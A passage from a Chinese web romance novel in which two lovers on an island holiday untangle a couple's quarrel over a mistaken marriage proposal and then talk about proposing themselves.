陈一诺眨了眨眼睛,很认真地思考片刻,说道:“不能……快说,什么生意?” 陈宗礼不解:“陈一诺,你已经很有钱了,少做几单生意公司不会垮……” 陈一诺摆正身体坐好:“道理我都懂,但我就是卷,就是躺不下来,不忙我就不自在……” 这件事,陈宗礼早就察觉到了。平常在同一个地方工作生活,陈一诺状态还能放松一些,一旦他们两地分开,陈一诺的状态就只有工作。好像闲下来,人生就会失控。所以总是忧思过度,睡眠质量不好。 但在陈一诺看来,他睡不着,是因为他不够累,工作不够多。于是,又继续用忙碌填满。陷入死循环。 陈宗礼牵过他的手:“陈一诺,你的焦虑症,不只是因为过去那些遭遇。还有你根深蒂固地认为,你只有努力变强,才会有人爱你。你只要怠惰,身边的人就要离开你。” “你不能再这样了!” “从今天开始,你接下来的主要工作就是和我谈恋爱。” 陈一诺直接一个呆楞,难以置信道:“这是一个集团总裁会说的话吗?!” “当初,你在记者会上信誓旦旦,说不会因为感情事耽误工作,现在这是什么情况?!” 陈宗礼理直气壮:“我也不能因为工作耽误感情啊。该工作工作,该谈恋爱谈恋爱。” 陈一诺举起跟陈宗礼牵着的手:“这不是谈着呢么?还要怎么谈啊?” 陈宗礼点点他的脑袋:“首先,让工作离开你的脑袋……然后跟我谈恋爱。” 陈一诺似懂非懂。 有时候,他觉得自己像一个攀岩选手,在沉迷肾上腺素快感的同时,也时刻畏惧着脚下的无底深渊,感觉只要稍有差池,就会跌入谷底。 跟陈宗礼谈恋爱后,他们在同一条赛道上攀爬。但陈宗礼会在他的上方领航,让他每一脚都能落在安全的位置。这能让陈一诺所有心思专注在登顶,逐渐遗忘会下坠的恐惧。 感情上也一样,陈宗礼不希望让陈一诺受一点委屈,有一点不安。所以,主动跟家里人“自爆”,面对记者也大方承认。让这段看似“困难重重”的恋情,平整地摊开在阳光下。 这一切,都是陈宗礼给他的安全感。他没理由不相信陈宗礼的判断。 …… 行车的路线似乎被陈宗礼叮嘱过,沿途经过的都是上城市中心的路段。那是,陈一诺还是古一诺时,每天上学放学都会路过的地方。 陈宗礼凑到他身边,问道:“怎么样,上城变化大吗?” 陈一诺空洞的眼神这才又重新聚焦:“挺大的,路更开阔,人更多。” “以前,这条路有很多小商贩卖早点,煎饼果子,灌汤包……那边还有小卖铺,我人生第一瓶可乐就在小卖铺喝的。” “这条街最会做生意就是书店老板,学习资料时幌子,里面全是漫画杂志口袋书,每回放学都堆满了人。男生买漫画,女生买明星杂志,可热闹了。现在好像少了些烟火气。” 陈宗礼听完陈一诺的童年,多少有些吃惊:“你一个少爷,还能吃路边摊的早餐,喝小卖铺的可乐?没人管?” 陈一诺咂摸着:“古家没破产之前,我还小嘛,同学之间也单纯,有钱没钱的都爱一起玩。我还逃课去过游戏厅呢。” “后来,我爸妈死了,奶奶管我就比较严。再后来,家里破产,我搬去远一点的公寓住,索性在附近念书,住宿学校管得严,几乎没有娱乐。我只能读书了。” “现在想想,幸好我专心念了几年,不然,后来去港城都赚不着你的钱。” “以前,我奶奶说读书才能赚钱,我不信。因为古家是靠旁门左道的生意发家。所以,家里亲戚全是读书无用论的忠实粉丝和实践者。” “后来,我去港城,第一次从你手上赢钱,我才开始相信读书能赚钱。” 陈宗礼感到非常震惊,当年自己出钱出力,费尽心机,让他念书。到头来,陈一诺悟出的道理,居然是:读书真的能赚钱! 忍不住捏着他的鼻子,满脸嫌弃:“陈一诺啊,你真是一个财迷!” …… 他们没有在市中心的酒店落脚,而是在市中心绕了一圈,直接上了高速,一路飞驰了两小时。最终抵达上城最东端的一个沿海小岛。 下高速的时候,刚过了中午,太阳像一个橘色小球,飘浮在海平面上,整个海金灿灿地发着光。波浪一层层往前推,小球始终在上方晃啊晃,像一个巨大的玻璃球。 里面的世界是遗世独立的,你只能看着,却丝毫触碰不了。 陈一诺恍惚:“这是上城哪里?” 陈宗礼低声道:“上城最东边的海岛,叫东皇岛。这两年,上城的文旅开始热络,慢慢开始搞周边游,这个岛通了高铁后,多了不少游客。” 听到游客挺多几个字,陈一诺就听见钱的声音:“zf重视,环境也不错,就是很有发展潜力咯。” 陈宗礼捏捏他的脸:“跟着我念!” “让工作离开我的脑袋……” 陈一诺机械重复:“让工作离开我的脑袋……” “和陈宗礼好好谈恋爱……” “不要脸……”陈一诺反抗,但被陈宗礼“嗯”了回来,只能羞耻地重复:“和陈宗礼好好谈恋爱……” …… 话是这么说,但陈一诺下车就闻到钱的味道。 因为,他们下塌的酒店,居然是LS五星级酒店。 这家的酒店外观契合东皇岛地理特色,设计成贝壳状,线条流畅简洁,离远看像一枚漂浮在海上的润白珍宝。 陈一诺跟在陈宗礼身后走近酒店大堂,仰头打量着:“上城市中心都没开LS酒店。这里居然有LS酒店?!这里什么情况啊?!” 陈宗礼挑眉,警告:“别让我再逼你默念一次啊……” 陈一诺立刻用手把自己的拉上拉链。 思维和庄宝瑶早一步抵达酒店大堂,把房卡给他们,目光在他们之间流转:“旅行旺季,你们俩是要一间总统套,还是行政大床房就行?” 陈宗礼直接夺过李思维手里的房卡,说道:“总统套,谢谢。焱少到了吗?” “到了!” 没等李思维开口,董焱像一团火气势汹汹地烧了过来。 巴库斯项目结束后,董焱留在A国处理董氏集团的业务分割。跟董嘉华分完家,他手里剩下的业务版图也需要时间梳理,总之,正是忙的时候…… “他怎么会在这里?”陈一诺敏感地察觉董焱的威胁,先挡在陈宗礼面前。 董焱在他们面前停下,眼下有乌青,指着他们骂道:“让你妹吃点药吧!” 骂完这句没头没尾的,董焱就气冲冲走了。 所有人面面相觑。陈一诺反应快,回道:“骂谁你妹呢,你才应该吃点药吧。” 李思维走过来,脸色有点尴尬解释道:“她说的是宗瑜……” 陈一诺惊讶:“宗瑜也来了?她怎么了?” 李思维假笑:“晚点,你们就知道了……” 十分钟后。 “叮——” 电梯门徐徐打开,这一层全是总统套房。 他们刚出电梯,离远看见一个酒瓶从房间里飞出来,“嘭——”砸在房间的走廊外。 接着,听见陈宗瑜的大喊:“庄嘉轩,我要和你分手!!!” “嘭——”房门被暴力关上,被分手的庄嘉轩,可怜兮兮地站在走廊里。 陈宗礼和陈一诺:“……”—— 作者有话说:朋友们,国庆节快乐啊! 第122章 细数这些年,这两人谈恋爱,实在太费哥。 先是单恋阶段,陈宗瑜私会庄嘉轩被狗仔偷拍,陈一诺和陈宗礼奋力从狗仔老K手里抢回照片。 到后来庄嘉轩出国,她缠着陈宗礼天天打听近况。后来,好不容易在一起,轮到二婶不同意。还常把“要让陈一诺当女婿”的话挂在嘴边,把陈宗礼气到心梗。 邮轮事件后,庄嘉轩的表现终于得到二婶同意,现在又闹这出…… 酒店走廊里,庄嘉轩呆若木鸡地站了一会儿,然后慢慢蹲下。身后紧闭的房门内,不时传来砸碎东西的声音和陈宗瑜的哭声。 陈宗瑜状态有点失控,陈一诺和陈宗礼只能先从看起来冷静的庄嘉轩入手。 他们一左一右走到他身边,三个豪门少爷可怜兮兮地蹲在走廊,半天没说话。 陈宗礼忍不住,手肘碰了碰庄嘉轩:“说说呀,到底怎么了?” 庄嘉轩抱着脑袋,挠了挠寸头,烦恼道:“不是我不想说,我是不知道从何说起……” 陈宗礼在关键时刻总能发挥主导作用,他引导:“来之前没问题,那就是到这里以后出了问题。” “你们是昨天到的吧?从昨天开始说……” …… 庄嘉轩抹了把脸,强打精神。 “羽南港发布会结束后,我们就约着要来上城玩。没想到刚下飞机,我姐电话就来了,说她们在东皇岛,让我们也过来玩几天。我们就改变行程过来了……” “从机场到东皇岛的路上,她的脸色就有些不对,好像有些紧张,车上一直在刷手机。” “懂了!”陈一诺把感情咨询当最强大脑了,一掌拍到他背后,兴奋大喊道,“我懂了!” “明明计划好的两人旅行,突然全部推翻,还成集体春游!换谁都不开心啊!” 好像有些道理,庄嘉轩皱眉沉思了一会儿,摆摆手:“刚开始,我也以为她不开心,因为,她不但做了计划,我姐还说你们和董焱也会来,人太多了。” “我就直接问她,是不是更喜欢两人旅行。” “结果,宗瑜说不是,她说出来玩,人多更热闹!” 陈一诺“啪——”的一声打在他膝盖上:“口是心非!一定是口是心非!” “真不是!她当时是笑着说的!”庄嘉轩叹气,“吃饭的时候,跟我姐她们也都有说有笑。真的没有不开心。” “结果,吃着吃着,她就突然大发雷霆……闹成现在这样!” 毫无预兆的生气,这是陈一诺的知识盲区,他皱眉:“这么突然?!一点前摇都没有,就直接暴走了?” 一直沉默的陈宗礼忽然开口:“你是不是在什么细节做错了?” 陈一诺连忙附和:“对对对!女生跟我们男生不一样,女生感性,在意细节!你慢慢说,从你们到酒店开始说……” 有了兄弟的陪伴,庄嘉轩仿佛有了主心骨。 他打起精神回忆细节:“刚到酒店,我跟思维姐聊了几句。因为这边是新景点,只有本地游客。思维姐想让我们环球旗下的艺人过来拍旅行vlog,顺便宣传宣传。我们艺人是来了,但摄影师没来,我就帮忙协调。” “我联系摄影师的时候,宗瑜一直在我旁边……” 陈一诺“啪——”的一声又打在他膝盖上:“我懂了!这次真的懂了!” “你呀你呀,出来玩就专心玩,怎么能工作呢?肯定是因为你工作,忽略了她!” 刚从陈宗礼身上学来的东西,立刻现学现卖,陈一诺觉得自己观察很到位! 庄嘉轩眼看自己膝盖都被拍出两个红红的手掌印,反手就要掐陈一诺的脖子:“你这是真心想帮我,还是真心想揍我?!看你把我大腿拍成这样!你看看!!” 陈宗礼一把拦住庄嘉轩,嚷道:“你别激动!” 另一只手指着陈一诺警告道:“你别打人!” 陈一诺举起双手喃喃:“我只是兴奋没控制好,不是故意的……” 陈宗礼提醒道:“行了,继续往下说!” 庄嘉轩理了理被陈宗礼扯皱的衣服,继续言归正传:“没有!她这时候也没生气!” “当时,我协调完,送宗瑜回房间,她还笑着说要换身衣服再去吃晚饭。” “你也知道女生化妆换衣服,弄这弄那的费时。我就先去餐厅等她……” 察觉陈一诺举起手似乎还想抢答,他先一步解释:“她没有因为我不等她而生气!” 陈一诺嘟囔着:“我还没说话!” 庄嘉轩直接怼他:“你心里就是这么想的!你就是觉得我呼吸都能让她生气!但不好意思,没有!” “等她的时候,在一楼珠宝店看见了董焱。我就过去跟他聊了一会儿。” “焱少这人,刚开始觉得他挺吓人的,聊起来其实也还行。吃饭的时候,宗瑜也跟他聊了几句。他人还挺好……” 陈一诺不屑道:“还人挺好?刚刚就是董焱,跟我们告状呢……” 说罢,本来安静的房间,又传来新一轮砸东西的声音。 陈一诺对陈宗礼抱怨:“你们家是不是有什么暴躁基因啊?!平时看着温温柔柔的小姑娘,发起火来那么吓人呢!” 陈宗礼咳了几声:“个人行为,不要上升到家族……再说,他不就喜欢烈的么。” 陈一诺心想,这也没错,古惑仔的归处,不就是烈女么。 陈宗礼转头把对话拉回正题:“那她生气之前发生了什么?或者有什么异样?总不能无缘无故发脾气吧?” 庄嘉轩这人神经粗,回忆之前的细节已经要他命了。 他苦思冥想:“异样……那晚她吃饭,好像吃得特别慢,细嚼慢咽的。然后事情的导火索,应该是服务员给我们上香槟的时候。” “因为昨晚吃海鲜,所以配的香槟。上面浮着草莓,气泡香槟味道甜甜的。也不知道怎么搞的,服务生给宗瑜的那杯酒,底下居然有一枚戒指。” “看见戒指的时候,我们所有人都挺惊呆了。我问思维姐,是不是餐厅搞什么活动,喝出戒指有奖励……” “然后,思维姐开玩笑问我,当然不是,谁拿十克拉钻戒当礼物。” “是不是你准备的求婚啊?我就说,怎么可能,我想都没想过。” “这时候,我后桌一个男的走过来,说这个戒指是他的,服务生弄错了。然后,拿走戒指单膝跪地向女朋友求婚。” “当时,餐厅里所有人都在鼓掌,餐厅里的小提琴手,还专门给他们拉了一首祝歌,现场气氛非常好。然后,宗瑜就爆炸了……” 陈一诺和陈宗礼对视一眼,同时像看傻子似的看向庄嘉轩。 “不是吧!都那么明显了,你还不知道她为什么生气?” 庄嘉轩一脸茫然地看着陈一诺,陈宗礼也在看他,想听他到底什么结论。 陈一诺“啧”了一声,颇为骄傲地摸了摸鼻子。眼神里全是对钢铁直男的失望。 “她喜欢那个戒指啊!” “……”陈宗礼的沉默振聋发聩。”不是……”庄嘉轩欲言又止地看他,又转头看向陈宗礼,难以置信道:“兄弟,你这恋爱要怎么谈呀?” “这人平时看着那么聪明,工作时运筹帷幄的,怎么在感情上,神经粗得跟海滩里的沙子似的……” 陈一诺茫然地看着满脸苦涩的陈宗礼:“怎么?我说得不对吗?” …… 作为陈宗瑜的青梅竹马,一起长大的哥哥,陈一诺坚定地以为自己比庄嘉轩更了解陈宗瑜。 他甚至非常坚持自己的观点,分析道:“前面铺垫了半天,她都没事!如果不是因为喜欢的戒指被别人拿走了,那她生气的原因是什么?!” “是什么?!” 陈宗礼叹了口气,终于忍无可忍:“是因为,她以为,她才是被求婚那个!” “什么?!!!” 庄嘉轩和陈一诺同时露出震惊的表情。 陈宗礼看傻子似的看着面前两个人,耐心解释道:“求婚攻略,你们看过吗?” 庄嘉轩和陈一诺露出单蠢而天真的眼神,同时摇摇头。 陈宗礼开始解谜:“首先,求婚通常选在浪漫有氛围的地方,本来,宗瑜以为你们去上城旅行,结果发现,你们临时改去东皇岛。” 庄嘉轩颔首:“哦……阳光、海浪、沙滩!浪漫有氛围感!” 陈宗礼打了个响指,算是赞同,继续:“其次,求婚都需要朋友见证。所以,旅程临时增加了我们,打乱了计划,她也生气。” “因为她以为我们是来见证求婚的。” 陈一诺恍然大悟,嘴张了张,听得入神,忘了合上。 陈宗礼接着说:“求婚还得有摄影记录吧?” 陈一诺捂着嘴:“她以为,你安排摄影师是记录求婚的……所以她才高高兴兴回去换衣服!” 陈宗礼点头,肯定他的回答:“求婚肯定得有婚戒吧。” 每个节点的解释,非常丝滑,这下轮到庄嘉轩愣住了:“所以,她才以为,香槟里面的戒指是她的!以为这是惊喜?!” 陈宗礼摇头:“再往前,我猜,她看见你跟董焱进珠宝店,还误以为你买了戒指……” “什么?!!”庄嘉轩和陈一诺再次惊讶 这时,一个人拖着行李箱从他们面前经过。他们同时抬头,看见穿着黑色背心露出花臂的董焱,非常疑惑地看着他们仨。 他把房卡递给陈一诺,打劫一样的口吻:“房卡拿来!跟我换!” 他跟陈宗瑜的总统套房都在同一层,从他之前的语气,可以想象,昨晚跟陈宗瑜同一层又多难熬。 陈宗礼站起身,迅速把房卡给董焱,顺便问:“焱少,昨晚吃饭的时候,我妹跟你说什么了?” 董焱睨他一眼:“她问我,刚刚,你跟他”手指着庄嘉轩,“是不是去买戒指了?” 庄嘉轩连忙站起来:“那你怎么说?” 董焱耸耸肩:“我能怎么说,直接说,是,买了!” “草……完了……”庄嘉轩绝望扶额。 董焱看着他们的反应,不解:“我也没骗人吧,我确实买了……” 庄嘉轩崩溃:“但你没说你是买了呀!她以为是我买了……” 如果说,前面那些:浪漫的地点,见证的好友,还有摄影师,都能说是陈宗瑜单方面的捕风捉影!那买戒指这事,实在太巧合,太致命了! 所以,陈宗瑜喝香槟发现戒指之前,她是真以为,甚至确定:庄嘉轩要求婚! 结果,李思维问庄嘉轩,戒指是不是他的,他现场来了句:“怎么可能,我想都没想过。” 本就白开心一晚上的陈宗瑜,在那种情况下听见这句话,怎么可能不崩溃!! 庄嘉轩脸都白了,六神无主地看着陈宗礼:“完了完了完了!兄弟,怎么办啊?” “我要是如实告诉宗瑜,一切都是误会,我真的没想求婚……” 陈宗礼冷笑:“她打死你信不信?” 庄嘉轩“哎……”了一声:“但如果我现在就去买戒指,跟她求婚……” 陈一诺抱肩:“她肯定会觉得,你不是真心,是同情!” 他捂着脑袋蹲下,满脸愁容:“求也是死,不求也是死!我进去让她打死我算了!” 庄嘉轩刚要去敲门,被陈一诺他们拦住,劝他别激动。 董焱双手搭在行李上,看着眼前三个难兄难弟,说道:“喂,去送死之前,你先想想清楚。” “你到底想不想求这个婚?” 第123章 董焱这个问题,倒是问到点子上了。 求婚是两个人的事,如果只是为了哄女朋友,庄嘉轩被迫求了个婚,对于他本人而言,也不公平。陈宗瑜知道,更不会开心。 庄嘉轩这个人直肠子,面对陈宗瑜两个哥哥,也不藏什么弯弯绕绕。 “我确实喜欢宗瑜,但我们在一起还没一年,现在谈婚论嫁太早了……” 意思就是女朋友要哄,但不能用求婚哄…… 情感经历本就浅薄的三个难兄难弟,抓耳挠腮,实在想不出办法。 董焱叹了口气,说道:“男友哄不好,那就当哥的去哄。” …… “宗瑜,开开门,我是一诺哥哥~” 陈一诺站在房门外,轻声细语地敲着房门,他们接受了董焱的建议,换一个人——亲近的人跟陈宗瑜谈。 敲了半天,总统套房里面没有动静,连哭泣的声音都没了…… 陈宗礼和陈一诺对视,继续说:“宗瑜,你不开门,那我就直接进来咯……” 说罢,用庄嘉轩的房卡,直接开了门。 房间没开灯,窗帘全部拉起来,伸手不见五指的黑。他们前后脚走进房间,没走几步,陈宗礼一脚踢到孤零零躺在地毯上的镶钻高跟鞋。 陈一诺摸索着玄关旁的开关,先打开玄关的灯。借着灯光往里看,灰色的长绒地毯上,除了高跟鞋、包包、首饰,还有不少被砸烂的碎片……反正就是满屋苍夷。 他们跟着这些遗落的线索,一步步走到主人面前——穿着白色连衣裙的陈宗瑜,头发糟乱,妆容尽毁,眼睛下两行黑泪,像索命的女鬼。 手里拿着半瓶红酒仰头吹,吞咽不及溢出的红酒液滴落在连衣裙上,胸前从深到浅晕红了一大片,看着像被人捅一刀在汩汩流血。非常触目惊心。 从进门到现在,陈一诺觉得这已经不是失恋现场,而是凶案现场。 陈宗瑜明显醉了,伤心的情绪被放大,看见两个哥哥走进来,涣散的眼神停滞了很久,才慢慢认出这是娘家人。 她毫无预兆地“哇——”地一声,张开双手朝他们扑过来:“哥!!!!” 陈一诺反应最快,用双手撑在她的肩膀上,阻止这个满脸黑泪,一身红酒的疯姑娘接近。 陈宗礼眼疾手快,把她手里摇摇欲坠的半瓶红酒抢过来。 本想寻求安慰的陈宗瑜,被两个哥哥突然架空了,情绪大变哭闹道:“你抓着我干嘛!陈宗礼,把酒还给我……” 她被陈一诺按着肩膀手够不到他,只能往他身上乱踢,白裤子上瞬间多了几个脚印。 陈宗礼见状立刻冷下脸,厉声喝止:“好了,别发疯!” 陈宗礼一吼,陈宗瑜就不敢乱踢了,果然存在血脉压制。 口红在唇上晕红了一圈,像个大嘴怪,此时下弯成一条线,发出委屈的“嘤嘤嘤”,跟陈一诺诉苦:“一诺哥哥,陈宗礼骂我……呜呜呜……我都被欺负了,他还骂我……” 陈宗礼对亲妹的哀吼充耳不闻,回应只用了一个白眼。 唱红脸的陈一诺哄道:“宗瑜,宗瑜,你听我说!你的委屈我们都知道!但是这件事,也不全是庄嘉轩的错。” 陈宗瑜听见“庄嘉轩”三个字,立刻情绪激动:“怎么不是他的错!就是他的错!我都追他那么多年了,他跟我求个婚怎么了?!” “他凭什么说想都没想过!这时候了,你还帮着他,你到底是不是我哥!” 被质疑立场的陈一诺连忙改变策略,顺着她往下骂:“庄嘉轩他确实不是个东西!想娶我们宗瑜的人从港城排到东皇岛还得绕几圈。他算个屁……” 陈宗瑜用哭肿的眼睛看着他,说话带着哭腔:“倒也不用骂得那么难~听~” 陈一诺大脑宕机了一瞬,很快重启:“你看,明显你也知道他人没那么坏,只是说话不经大脑,你大人有大量,原谅他呗。” “他比我还大!凭什么是我原谅他?” “他自己口口声声说,想都没想过跟我求婚!那我请问呢,我们还浪费时间谈恋爱干嘛?!” 完了。在谈判桌上无往不利的陈一诺,彻底搞不清楚陈宗瑜的逻辑。 不跟她同仇敌忾,她质疑你是不是她哥,跟她一起骂,她又护着那男的!陈一诺心里感慨:女人实在太难懂了…… 感情小白陈一诺的道行太浅,实在谈不赢,只能用眼神求救陈宗礼。 大概是越想越委屈,陈宗瑜垂眸看着陈一诺的脸,泪眼婆娑。 “这么看,还是我妈说的对!” 一听见吴淑芬出场,陈宗礼就敏感地挑了挑眉。 “还是一诺哥哥对我最好!我不要庄嘉轩了!我跟你在一起好了……” “啪——”的一声,陈宗礼的预感果然应验了。 他额上青筋跳了跳,单手控住陈宗瑜的额头,毫不费力地把她跟陈一诺的距离拉开。 咬牙切齿道:“陈宗瑜,我忍你很久了!陈一诺不是你说要就要,说跟结婚就能结婚的备胎!自己感情处理不好,净惦记着别人!把你一诺哥哥当什么了?把我当什么了?” 陈一诺没看见过那么大动肝火的陈宗礼,甚至对他忽然发飙感到莫名其妙。 站在一旁连忙劝道:“哥,宗瑜只是喝醉了说胡话!你跟一个酒鬼置什么气呀……” 陈宗礼充耳不闻,拎小猫似的,拎着陈宗瑜的脖子,把她拎到浴室里。过程中,陈宗瑜被盛怒的陈宗礼吓得酒醒了一半,像溺水的人下意识找救生圈,她下意识要拉陈一诺的手。 上一秒硬气怒骂:“陈宗礼你好粗鲁!放开我!” 下一秒服软求救:“一诺哥哥,你救救我……” 陈宗礼对陈宗瑜的喊叫声充耳不闻,直接把人拽进浴缸,快速拧开开关,把花洒对准陈宗瑜。也不管冷水还是热水,也不管她是女生,从头到脚把她浇了个遍。 这手段虽然残暴,但胜在高效。水“哗啦啦”淋下去,陈宗瑜两行黑泪冲淡了,人还清醒不少。 湿淋淋的陈宗瑜像一个高傲的女人被脱掉了高跟鞋,气势顿时弱了许多。瘦弱的身躯蜷缩在浴缸里,低声啜泣,顾影自怜。 陈一诺在一旁看着两兄妹对峙不知如何是好。他从没见过陈宗礼这副要吃人的模样,被吓得不敢出声。又心疼小妹浑身湿透,担心她着凉。一时间进退维谷,左右为难。 陈宗礼铁石心肠,丝毫没因为她楚楚可怜的样子熄火,声音里依然带着愤怒,直接要害。 “陈宗瑜,你跟庄嘉轩谈恋爱,有什么问题就解决!几岁了?吵个架就大吵大闹摔东西,闹分手!” “你想清楚,自己到底是想闹脾气,还是真的想分手!如果你就是接受不了他那句话,下定决心要分手,我现在就让他滚,以后别在你面前出现!” “如果你也知道,这就是误会,其实不想分!那就收起你的大小姐脾气!好好跟人家聊!” 陈宗瑜已经被陈宗礼治得彻底哑火,只敢抱着膝盖低声啜泣,尾调都带委屈:“陈宗礼你真是个神经病。” 陈宗礼立刻吼回去,骂道:“我就是神经病!” “现在想清楚了没有?!到底要不要分手!” 陈宗瑜还是把头埋在膝盖里,不说话。 陈宗礼一句不耐烦的大吼:“说话!” 陈宗瑜身体明显抖了抖,声音委屈:“不分手。” 听见这三个字,陈一诺和陈宗礼同时松了口气 陈宗礼的怒气消散些,继续问:“既然不想分手,你能不能跟庄嘉轩好好聊聊?不要一个人躲在房间,在自己脑海里自编自导自演一场虐恋情深,还越演越委屈。” 陈宗瑜哭了两声:“我就是委屈啊……” “你才是我哥,他凭什么跟你告状,让你反过来收拾我?” 好不容易消下去的气,又被这几句话燃回去了。 陈宗礼指着她的鼻子,一字一句道:“陈宗瑜,你听清楚了。我是因为你嘴欠扯上陈一诺,我才收拾你的!” “庄嘉轩敢这样,我也收拾他!” “给你二十分钟,把自己收拾干净,换身衣服。我们在客厅等你!” 他把花洒放回原位,又叮嘱一句:“别耍花招!”这才转身离开了浴室。 陈一诺把浴巾和睡袍放在一旁,低声劝道:“赶紧洗个热水澡,别感冒了。” 离开浴室,陈一诺还挺惊讶的。 只听说过魔法打败魔法,还是头一回听说:神经病打败神经病的。 怎么说呢……效果拔群! …… 打过仗似的总统套房里,几个服务员忙着收拾陈宗瑜的残局。 陈一诺看打扫得差不多,目光四处找寻陈宗礼。 平日里,总是情绪稳定的太子爷,忽然雷霆大怒,那发飙的模样,现在陈一诺回忆起来,居然觉得挺性感。 他走到阳台,发现陈宗礼站在阳台角落,对着一望无际的海景,一手吞云吐雾,一手拿着手机语音。 “基本搞定了,你10分钟后开始吧……” “啧,你管我怎么搞定的,反正现在人冷静下来了,你该怎么弄就怎么弄吧。” 背后传来一阵暖意,陈一诺的味道从身后附上来,双手从后背环上他的腰。 刚刚开花洒的时候,陈宗礼衣服上也沾了点水珠。水珠落到陈一诺指尖,他拍了拍水珠就消失了。下巴抵在他肩膀上,声音柔和:“陈宗礼,你是董焱附体了吗?好凶啊。” 陈宗礼还在情绪里,说话硬邦邦:“她该!以前不知道我们关系就算了,现在都公开,还开这种玩笑,惯的她……” 陈一诺低声笑:“她随便说说,你别当真啊。” “她再随便说说试试!”陈宗礼转过身,咬着烟垂眸看陈一诺:“哎,我看你好像还挺享受啊……” 陈一诺扬起嘴角看他,亲亲他下巴:“看你吃醋我是挺享受。” 陈宗礼捏着他下巴,低头吻了下去,他嘴里有淡淡的烟草味,舌尖轻易撬开陈一诺的牙关,区别往日的温情,这次索取有些放肆,吻得陈一诺浑身发软。 “我的天啊,要亲,回你们房间亲行不行啊……” 洗完澡,换了一身运动服的陈宗瑜,一脸冷漠地看着两个哥哥,接吻接到忘我,气不打一处来。 陈一诺害羞要推开陈宗礼,陈宗礼硬是握着他后脖,低头又吻了几秒。 吻到陈一诺喘不过气了,陈宗礼才停下,挑衅似的对陈宗瑜说:“看清楚了没?!” 陈宗瑜眼睁睁看着他宣示主权,暴跳如雷:“看清楚了!我以后不喊他一诺哥哥,喊他一诺大嫂,行了没!” 陈一诺脸红道:“胡说什么,不许喊大嫂……” 陈宗礼这才满意地重新咬上烟,又恢复成平日,没什么情绪的模样。 这时,从阳台下传来庄嘉轩的声音:“陈宗瑜!陈宗瑜!” 陈宗瑜听见声音直皱着眉,站在原地不想动。还是陈一诺拉着她到阳台围栏往下看。 酒店花园里,庄嘉轩穿着骑行服,手里拿着头盔,旁边停着一辆摩托,那吊儿郎当的模样。就像穿越回那年跨年时,见到的寸头机车少年一样。 看见陈宗瑜,庄嘉轩立刻挥着头盔,嚷道:“陈宗瑜,对不起,我错了!” 毛头小子不会哄人,担心不够诚意,从李思维手里接过一束鲜艳的红玫瑰,一起晃。 庄宝瑶在旁边指导:“别跳了,单膝跪下!” 庄嘉轩二话不说,立刻单膝跪在地上,也不顾旁边有人围观,吼道:“宗瑜,真的对不起!” 陈宗瑜现在就差一个台阶了,陈一诺搂着她的肩膀,说道:“人都跪下了,我们下去看看吧。” 陈宗瑜眼眶莫名又红了,没说话,但被陈一诺带着往楼下去。 几分钟后,他们也出现在酒店花园。陈宗瑜看见庄嘉轩就是一句大骂:“你神经病啊!” 然后,一把夺过庄嘉轩手里那捧红玫瑰,单手抱上他。 吵了一整夜的情侣,此时贴在一起,怀里隔着一捧明艳的红玫瑰。不知道低声说了几句什么,庄嘉轩厚着脸皮,偷亲了陈宗瑜。 情人之间的争吵,只要不分手,就有挽回的余地。 楼下所有人,立刻一片欢呼声。 接着,两人坐上摩托,沿着悠长的沙滩小径一路飞驰,重温当年“天若有情”海滩版。 怀里那捧红玫瑰的花瓣,经不住飞驰的速度,小旋风似的飘落一路,居然有些唯美…… 陈宗礼搂着陈一诺的肩膀,一同观看这场闹剧的结局。忽然有些疲惫,更多的是屏蔽工作,回归生活吵吵闹闹的实感。 陈一诺肩膀碰碰陈宗礼的手臂,问道:“陈宗礼,我有个问题,想问你……” “嗯?” “你为什么会知道求婚攻略?”—— 作者有话说:哦嗷~ 第124章 这个问题一问出口,陈宗礼能听见耳旁传来一声震撼的雷鸣。 替庄嘉轩分析感情问题的时候,陈一诺能奇迹般地完全答错,却对“求婚攻略”这个细枝末节记忆深刻。 谁说,女生更在意细节?陈一诺才是注重细节的魔鬼。 刚刚对着别人恋情判断精准的陈宗礼,在面对自己的恋情时,突然哑口无言。 他要是承认求婚,以陈一诺对感情的焦虑,肯定会拒绝。但如果说没想过,彼此心里都不会好受。莫名地,陈宗礼陷入了庄嘉轩的困境…… 在这段彼此沉默的时间里,陈一诺也不着急,他脱了鞋,赤脚沿着海滩慢慢走着,把长长的影子留给陈宗礼。 这片沙滩,拥有整个东皇岛,甚至国内最细腻的白沙,脚踩在白沙上,犹如一脚踩在温暖的棉花里。因此被名为:白天堂沙滩。 李思维独具慧眼,正正因为这个“白天堂沙滩”可遇不可求,才决定在东皇岛建LS酒店。她专门设计一个圆弧贝壳形状的酒店外身,像一道温柔的屏障,让“白天堂”这片世外桃源,跟外界彻底隔离。只有入住LS酒店的游客,才能近距离欣赏“白天堂沙滩”的景色。 不得不说,李思维的眼光非常精准,这份“稀有”完全满足了客户的追逐与众不同的心理。 …… 傍晚时分,海水比白天涨潮许多,仿佛想趁夜色昏暗,悄悄侵吞更多陆地。好不容易留下一串脚印,也被涨潮的海水像抹布一样,快速抹平。 沉默许久,陈一诺忽然转身面朝陈宗礼,双手背在身后倒着走,说道:“哥,宗瑜这次反应那么大,是不是因为从最开始,她对这段感情的期待就比庄嘉轩高,所以更容易患得患失……” “于是,当他说出“想都没想过求婚”的时候。宗瑜就……特别伤心。” 陈宗礼从下往上扫视陈一诺,惊讶道:“你的情商怎么忽高忽低的?” 跟刚刚在庄嘉轩面前乱答一通的状态截然不同。 陈一诺停在原地不动,问道:“你也跟宗瑜一样吗?” 陈宗礼刚好走到他面前,两人修长的身影站在无边的海岸中间,影子相互交叠,从远处看,有种电影画质的唯美感。 “一诺……” 陈宗礼的声音伴着海浪声悄悄进入陈一诺的耳朵。 “不怕你笑我。从你答应跟我在一起开始,我就已经在想怎么跟你求婚了。” “奶奶允许我们在一起后,我更想立刻跟你求婚。戒指不都给你戴上了?” 陈一诺当然记得,那枚七位数拍回来的粉钻戒。 “但我都没说出口……” 他的双手轻轻圈着陈一诺,不敢松开,怕他跑了;又不敢用力,怕逼他太紧了。 “因为我知道,你对亲密关系有些畏惧。进展太快,你不知道怎么反应,会想逃避。所以……” “所以你一直忍着。”陈一诺仰起头,亲了亲他的下巴,又亲了亲他的喉结,一下一下的,像羽毛轻轻触碰他的肌肤。 “那你的求婚攻略是怎么样的?找一个浪漫有氛围感的地方,也偷偷约上几个朋友在一旁起哄,这样?” 陈宗礼捏着他下巴,低头咬了咬他的下唇,笑道:“我在没人的地方跟你求婚,估计你心理也会抗拒……我还找一堆人围观起哄,到时候,你可能会甩了我,连夜逃回A国。” 